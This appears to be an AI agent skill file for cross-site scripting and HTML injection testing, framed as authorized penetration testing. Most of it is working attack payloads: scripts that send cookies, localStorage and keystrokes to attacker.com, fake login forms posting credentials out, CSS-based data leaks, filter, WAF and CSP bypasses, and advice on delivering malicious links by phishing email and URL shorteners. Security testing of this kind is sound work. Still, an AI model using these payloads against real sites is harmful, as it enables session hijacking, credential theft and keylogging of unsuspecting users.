| name | Cross-Site Scripting and HTML Injection Testing |
| description | This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications. |
| version | 1.0.0 |
| tags | ["xss","cross-site-scripting","html-injection","web-security","client-side-attacks","input-validation"] |
Cross-Site Scripting and HTML Injection Testing
Purpose
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.
Inputs / Prerequisites
Required Access
- Target web application URL with user input fields
- Burp Suite or browser developer tools for request analysis
- Access to create test accounts for stored XSS testing
- Browser with JavaScript console enabled
Technical Requirements
- Understanding of JavaScript execution in browser context
- Knowledge of HTML DOM structure and manipulation
- Familiarity with HTTP request/response headers
- Understanding of cookie attributes and session management
Legal Prerequisites
- Written authorization for security testing
- Defined scope including target domains and features
- Agreement on handling of any captured session data
- Incident response procedures established
Outputs / Deliverables
Primary Outputs
- XSS/HTMLi vulnerability report with severity classifications
- Proof-of-concept payloads demonstrating impact
- Session hijacking demonstrations (controlled environment)
- Remediation recommendations with CSP configurations
Evidence Artifacts
- Screenshots of successful script execution
- HTTP request/response captures
- Cookie exfiltration logs (sanitized)
- Payload effectiveness documentation
Core Workflow
Phase 1: Vulnerability Detection
Identify Input Reflection Points
Locate areas where user input is reflected in responses:
# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)
Basic Detection Testing
Insert test strings to observe application behavior:
<test123>
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
Monitor for:
- Raw HTML reflection without encoding
- Partial encoding (some characters escaped)
- JavaScript execution in browser console
- DOM modifications visible in inspector
Determine XSS Type
Stored XSS Indicators:
- Input persists after page refresh
- Other users see injected content
- Content stored in database/filesystem
Reflected XSS Indicators:
- Input appears only in current response
- Requires victim to click crafted URL
- No persistence across sessions
DOM-Based XSS Indicators:
- Input processed by client-side JavaScript
- Server response doesn't contain payload
- Exploitation occurs entirely in browser
Phase 2: Stored XSS Exploitation
Identify Storage Locations
Target areas with persistent user content:
- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences
Craft Persistent Payloads
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>
<script>
document.onkeypress=function(e){
new Image().src='http://attacker.com/log?k='+e.key;
}
</script>
<script>
fetch('http://attacker.com/capture',{
method:'POST',
body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" =>
Username:
Password:
Phase 3: Reflected XSS Exploitation
Construct Malicious URLs
Build URLs containing XSS payloads:
# Basic reflected payload
https://target.com/search?q=<script>alert(document.domain)</script>
# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
# Event handler in parameter
https://target.com/page?name="><img src=x onerror=alert(1)>
# Fragment-based (for DOM XSS)
https://target.com/page#<script>alert(1)</script>
Delivery Methods
Techniques for delivering reflected XSS to victims:
1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domains
Phase 4: DOM-Based XSS Exploitation
Identify Vulnerable Sinks
Locate JavaScript functions that process user input:
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()
Identify Sources
Locate where user-controlled data enters the application:
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage
DOM XSS Payloads
https:
https:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
</script>
Phase 5: HTML Injection Techniques
Reflected HTML Injection
Modify page appearance without JavaScript:
<h1>SITE HACKED</h1>
<form action="http://attacker.com/capture">
<input name="credentials" placeholder="Enter password">
<button>Submit</button>
</form>
<style>
input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}
</style>
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
Stored HTML Injection
Persistent content manipulation:
<marquee>Important Security Notice: Your account is compromised!</marquee>
<style>body{background:red !important;}</style>
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
Fake login form or misleading content here
</div>
Phase 6: Filter Bypass Techniques
Tag and Attribute Variations
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>
<svg/onload=alert(1)>
<body/onload=alert(1)>
<marquee/onstart=alert(1)>
<details/open/ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<img src=x onerror=alert(1)//
<img """><script>alert(1)</script>">
Encoding Bypass
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1)>
<script>\u0061lert(1)</script>
<img src=x onerror=\u0061\u006cert(1)>
JavaScript Obfuscation
<script>eval('al'+'ert(1)')</script>
<script>alert`1`</script>
<script>[].constructor.constructor('alert(1)')()</script>
<script>eval(atob('YWxlcnQoMSk='))</script>
<script>alert`1`</script>
<script>throw/a]a]/.source+onerror=alert</script>
Whitespace and Comment Bypass
<img src=x onerror
=alert(1)>
<script>alert(1)</script>
<img src=x onerror="alert(1)"<!--comment-->
Quick Reference
XSS Detection Checklist
1. Insert <script>alert(1)</script> → Check execution
2. Insert <img src=x onerror=alert(1)> → Check event handler
3. Insert "><script>alert(1)</script> → Test attribute escape
4. Insert javascript:alert(1) → Test href/src attributes
5. Check URL hash handling → DOM XSS potential
Common XSS Payloads
| Context | Payload |
|---|
| HTML body | <script>alert(1)</script> |
| HTML attribute | "><script>alert(1)</script> |
| JavaScript string | ';alert(1)// |
| JavaScript template | ${alert(1)} |
| URL attribute | javascript:alert(1) |
| CSS context | </style><script>alert(1)</script> |
| SVG context | <svg onload=alert(1)> |
Cookie Theft Payload
<script>
new Image().src='http://attacker.com/c='+btoa(document.cookie);
</script>
Session Hijacking Template
<script>
fetch('https://attacker.com/log',{
method:'POST',
mode:'no-cors',
body:JSON.stringify({
cookies:document.cookie,
localStorage:JSON.stringify(localStorage),
url:location.href
})
});
</script>
Constraints and Guardrails
Operational Boundaries
- Never inject payloads that could damage production systems
- Limit cookie/session capture to demonstration purposes only
- Avoid payloads that could spread to unintended users (worm behavior)
- Do not exfiltrate real user data beyond scope requirements
Technical Limitations
- Content Security Policy (CSP) may block inline scripts
- HttpOnly cookies prevent JavaScript access
- SameSite cookie attributes limit cross-origin attacks
- Modern frameworks often auto-escape outputs
Legal and Ethical Requirements
- Written authorization required before testing
- Report critical XSS vulnerabilities immediately
- Handle captured credentials per data protection agreements
- Do not use discovered vulnerabilities for unauthorized access
Examples
Example 1: Stored XSS in Comment Section
Scenario: Blog comment feature vulnerable to stored XSS
Detection:
POST /api/comments
Content-Type: application/json
{"body": "<script>alert('XSS')</script>", "postId": 123}
Observation: Comment renders and script executes for all viewers
Exploitation Payload:
<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
Result: Every user viewing the comment has their session cookie sent to attacker's server.
Example 2: Reflected XSS via Search Parameter
Scenario: Search results page reflects query without encoding
Vulnerable URL:
https://shop.example.com/search?q=test
Detection Test:
https://shop.example.com/search?q=<script>alert(document.domain)</script>
Crafted Attack URL:
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
Delivery: URL sent via phishing email to target user.
Example 3: DOM-Based XSS via Hash Fragment
Scenario: JavaScript reads URL hash and inserts into DOM
Vulnerable Code:
document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
Attack URL:
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
Result: Script executes entirely client-side; payload never touches server.
Example 4: CSP Bypass via JSONP Endpoint
Scenario: Site has CSP but allows trusted CDN
CSP Header:
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
Bypass: Find JSONP endpoint on trusted domain:
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
Result: CSP bypassed using allowed script source.
Troubleshooting
Script Not Executing
- Check for Content Security Policy blocking inline scripts
- Verify output encoding isn't converting special characters
- Test alternative tags (img, svg, body) with event handlers
- Confirm JavaScript is enabled in test browser
Payload Appears But Doesn't Execute
- Application may HTML-encode but not JavaScript-encode
- Try breaking out of attribute context first (
" or ')
- Check if payload is inside HTML comment or script comment
- Verify browser isn't blocking via XSS Auditor (deprecated but may exist)
Cookies Not Accessible
- Check for HttpOnly flag on cookies
- Session token may be in different storage (localStorage, sessionStorage)
- CORS may block cross-origin fetch requests
- Use no-cors mode for blind exfiltration
CSP Blocking Payloads
- Check for script-src 'unsafe-inline' allowance
- Look for JSONP endpoints on whitelisted domains
- Test for CSP bypass via base-uri or form-action
- Check for 'unsafe-eval' for eval-based payloads
WAF Blocking Requests
- Use encoding variations (URL, HTML entity, hex)
- Fragment payload across multiple parameters
- Insert null bytes or whitespace variations
- Test case sensitivity variations
